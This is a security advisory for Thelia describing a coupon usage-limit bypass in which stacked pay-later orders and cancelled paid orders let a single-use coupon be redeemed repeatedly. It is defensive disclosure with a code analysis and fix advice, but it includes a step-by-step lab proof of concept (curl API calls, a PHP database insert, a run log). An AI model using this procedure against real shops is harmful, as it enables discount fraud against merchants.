All vulnerabilities
GHSA-pq5m-7g9w-ppg8

thelia/thelia: Coupon usage limit bypass: a single-use coupon can be redeemed an unbounded number of times, and cancelled orders mint fresh usages

thelia/thelia
CVSS
4.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.2.4Also 3.1.5GitHub
Published18 Oct 2026Updated 19 Oct 2026GitHub

What fixes it

  • 3.2.4thelia/thelia, composerGitHubcomposer require "thelia/thelia:^3.2.4"
  • 3.1.5thelia/thelia, composerGitHubcomposer require "thelia/thelia:^3.1.5"
  • 3.2.4thelia/core, composerGitHubcomposer require "thelia/core:^3.2.4"
  • 3.1.5thelia/core, composerGitHubcomposer require "thelia/core:^3.1.5"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

Thelia checks a coupon usage limit when the coupon is applied and the order is placed, but counts the usage only when the order transitions to paid, and the count step never refuses when no usage is left. This produces two effects.

First, stack now, pay later. A shopper places any number of pay-later orders (cheque or bank transfer) while the coupon still shows a usage left. Each placement passes validation because no previous order has been counted yet, and every order keeps the discount once it is marked paid. The checkouts can be sequential. No concurrency is needed.

Second, cancel mints usages. Cancelling or refunding a paid order refunds one usage for every order coupon row marked counted, including rows whose consume step silently skipped an exhausted coupon. The increment has no cap, so each pay-then-cancel cycle mints one permanent usage and the loop never runs dry.

Details

Verified in the pristine repo/ tree at commit 7668f3d, and observed live on tag 3.2.1. File references below are repo/ paths with line numbers.

The limit is enforced in exactly one place, at apply and placement time. core/lib/Thelia/Domain/Promotion/Coupon/CouponFactory.php:79-88 throws CouponNoUsageLeftException when getUsagesLeft() returns zero or less. CouponManager::getSessionCoupons() calls this on every cart change and order placement, and reconcileBeforeOrder (on ORDER_PAY, priority 200) rebuilds the coupons right before the order is written, so an exhausted code is dropped from carts. All of that only protects orders placed after exhaustion.

Counting happens later, on a different event. core/lib/Thelia/Action/Coupon.php:369-449 (afterOrder, on ORDER_BEFORE_PAYMENT) only remembers the coupon on the order as an order_coupon row with usage_canceled = 1. The code comment says its usage is not counted yet and that counting happens when the order is paid.

core/lib/Thelia/Action/Coupon.php:460-470 (orderStatusChange, on ORDER_UPDATE_STATUS) calls consume() when the order becomes paid and release() otherwise. Nothing on this path checks the usage limit.

core/lib/Thelia/Domain/Promotion/Coupon/Service/OrderCouponUsageManager.php:42-57 (consume) calls decrementQuantity for each remembered coupon and then unconditionally flips usage_canceled to false, even when the decrement did nothing.

core/lib/Thelia/Domain/Promotion/Coupon/Service/CouponManager.php:511-562 (decrementQuantity) reads getUsagesLeft() and skips the whole body when it is already zero, logs the event, and returns false. The caller ignores the return value. The paid order keeps the discount that was priced into it at placement.

core/lib/Thelia/Model/Coupon.php:284-299 (getUsagesLeft) is a pure read of max_usage minus the per-customer count. The write is read-then-write (setMaxUsage(--$usageLeft)) with no lock and no atomic update.

The mint comes from the refund path. core/lib/Thelia/Domain/Promotion/Coupon/Service/OrderCouponUsageManager.php:64-79 (release) refunds every row marked counted, including rows whose consume step skipped an exhausted coupon. CouponManager.php:567-610 (incrementQuantity) performs an uncapped setMaxUsage(++$usageLeft). Cancelling a phantom-counted order therefore inflates the counter past its configured maximum. Cancelling an unpaid order changes nothing, because release only selects counted rows, which confirms the mint is specific to the phantom path.

Proof of concept

Lab: tag 3.2.1 on http://127.0.0.1:8081 with MariaDB on 127.0.0.1:3307, demo catalogue installed. Merchant coupon created the way the back office creates one: code RACE10, 5 EUR off, max_usage = 1, MatchForEveryone condition. Each step below is one command. Row ids vary between runs.

Step 1. Create the merchant coupon.

cd live/app && ../../.tools/php -r '$pdo = new PDO("mysql:host=127.0.0.1;port=3307;dbname=thelia", "thelia", "thelia"); $src = $pdo->query("SELECT * FROM coupon WHERE code=\"WELCOME10\"")->fetch(PDO::FETCH_ASSOC); unset($src["id"]); $src["code"]="RACE10"; $src["trigger_mode"]="code"; $src["type"]="thelia.coupon.type.remove_x_amount"; $src["serialized_effects"]="{\"amount\":5}"; $src["max_usage"]=1; $cols = implode(",", array_keys($src)); $st = $pdo->prepare("INSERT INTO coupon ($cols) VALUES (".implode(",", array_fill(0,count($src),"?")).")"); $st->execute(array_values($src)); echo "coupon id=".$pdo->lastInsertId()."\n";'

Observed: a new coupon row with code RACE10 and max_usage 1. In the recorded run its id was 7.

Step 2. Create the attacker customer through the admin API.

curl -s -X POST http://127.0.0.1:8081/api/admin/customers -H "Authorization: Bearer $ATOKEN" -H 'Content-Type: application/json' -d '{"email":"racer@example.com","password":"RacerPass1!","firstname":"Rex","lastname":"Racer","customerTitle":"/api/admin/customer_titles/1"}'

Observed: HTTP 201 with the new customer. $ATOKEN is an admin JWT from POST /api/admin/login.

Step 3. Log in as that customer on the front API and save the token.

curl -s -X POST http://127.0.0.1:8081/api/front/login -H 'Content-Type: application/json' -d '{"username":"racer@example.com","password":"RacerPass1!"}'

Observed: HTTP 200 with a customer JWT. All following customer requests use it as $FTOKEN.

Step 4. Create a delivery address for the customer.

curl -s -X POST http://127.0.0.1:8081/api/front/account/addresses -H "Authorization: Bearer $FTOKEN" -H 'Content-Type: application/json' -d '{"label":"Home","firstname":"Rex","lastname":"Racer","customerTitle":"/api/front/customer_titles/1","address1":"1 rue de la Course","zipcode":"69001","city":"Lyon","country":"/api/front/countries/64","phone":"0400000000","isDefault":true}'

Observed: HTTP 201 with the new address. In the recorded run its id was 17.

Step 5. Run the stacking and minting flow. The runner boots the lab kernel and drives the exact production event flow of sequential cheque checkouts: COUPON_CONSUME (shopper types the code) to ORDER_PAY (Action\Order::create, which raises ORDER_BEFORE_PAYMENT and therefore afterOrder) to ORDER_UPDATE_STATUS paid (therefore orderStatusChange and consume), then cancelled for the mint. Checkout address and module selections for each cart are performed over real HTTP (POST /api/front/account/checkout/{cartId}/... as the customer). No production code path is reimplemented. Only row setup is done directly.

cd live/app && ../../.tools/php /tmp/opencode/coupon_mint.php

Observed: two unpaid orders placed while the coupon showed one usage left, both marked paid with the full 5 EUR discount while the counter moved 1 to 0 to 0; cancelling the second order moved the counter 0 to 1; a third order placed and paid on the minted usage moved it 1 to 0. Full log:

coupon RACE10 id=7 max_usage=1 trigger=code
== placing unpaid order A ==
cart 94 discount after coupon: 5.000000
order 75 ref=ORD000000000074 discount=5.000000 status=not_paid
== placing unpaid order B (coupon still shows usage left: no decrement happened yet) ==
cart 95 discount after coupon: 5.000000
order 76 ref=ORD000000000075 discount=5.000000 status=not_paid
== merchant marks A paid (cheque cleared) ==
coupon max_usage now: 0
== merchant marks B paid (second cheque clears) ==
coupon max_usage now: 0
order 75: status=paid discount=5.000000 order_coupon_rows=1 [coupon=7 amount=5 usageCanceled=]
order 76: status=paid discount=5.000000 order_coupon_rows=1 [coupon=7 amount=5 usageCanceled=]
== merchant cancels B (paid order returned/refunded) ==
coupon max_usage now: 1 (was 0: B never consumed, yet its cancel minted +1)
== attacker places order C with the minted usage ==
cart 96 discount after coupon: 5.000000
order 77 ref=ORD000000000076 discount=5.000000 status=not_paid
== merchant marks C paid ==
coupon max_usage now: 0
order 77: status=paid discount=5.000000

Step 6. Control. The same flow ends by attempting one more order after the minted usage is consumed. No new command is needed. The attempt fails at coupon apply time.

Observed: the run stops in CouponFactory.php:86 with CouponNoUsageLeftException: Maximum usage count reached for coupon RACE10. This confirms the only enforcement point is apply and placement time, and the window is exactly stack unpaid orders, then pay. Re-running the whole flow afterwards fails the same way from the first order.

Cleanup: all proof rows were removed afterwards (orders, carts, coupon, customer) and product stock was restored to the demo baseline.

Impact

An attacker redeems a usage-limited coupon an unbounded number of times. Each additional unpaid order placed before prior ones are counted keeps the full discount once paid, and each paid-then-cancelled phantom order mints a fresh usage, so the counter inflates past its configured maximum and the loop never runs dry. Loss scales with the coupon value times the number of live orders. A max_usage = 1 coupon yielded three discounted paid orders in the lab, and cancelling the third would mint again. A 100 percent off single-use code yields free orders (postage aside). Prerequisites are ordinary shopper capabilities: a customer account (or guest checkout where enabled), knowledge of the code, a pay-later payment module (Cheque ships active by default), and orders reaching paid through merchant confirmation or gateway callbacks.

Suggested Fix

Re-validate at count time. In OrderCouponUsageManager::consume() (or CouponManager::decrementQuantity()), when getUsagesLeft() is already zero, do not silently keep the benefit: refuse the paid transition or strip the coupon from the order (remove the order_coupon row or zero its amount and recompute totals) and surface an error instead of returning an ignored false.

Only release what was actually consumed. Flip usage_canceled only when the decrement happened, so release() skips rows that never consumed. As a backstop, clamp incrementQuantity() against the coupon's originally configured maximum instead of incrementing blindly (note max_usage doubles as the live counter today, so the original value needs its own record or a separate counted column).

Optional hardening: reserve the usage at placement (decrement in afterOrder, release on failure or cancel) inside a row lock or atomic update. That closes both the sequential stacking window shown here and the concurrent variant.

Text from GitHub Advisory Database

Affected versions 6

  • thelia/thelia, composer>= 3.2.0, < 3.2.4GitHub
  • thelia/thelia, composer>= 3.1.0, < 3.1.5GitHub
  • thelia/thelia, composer>= 3.0.0, < 3.1.0GitHub
  • thelia/core, composer>= 3.2.0, < 3.2.4GitHub
  • thelia/core, composer>= 3.1.0, < 3.1.5GitHub
  • thelia/core, composer>= 3.0.0, < 3.1.0GitHub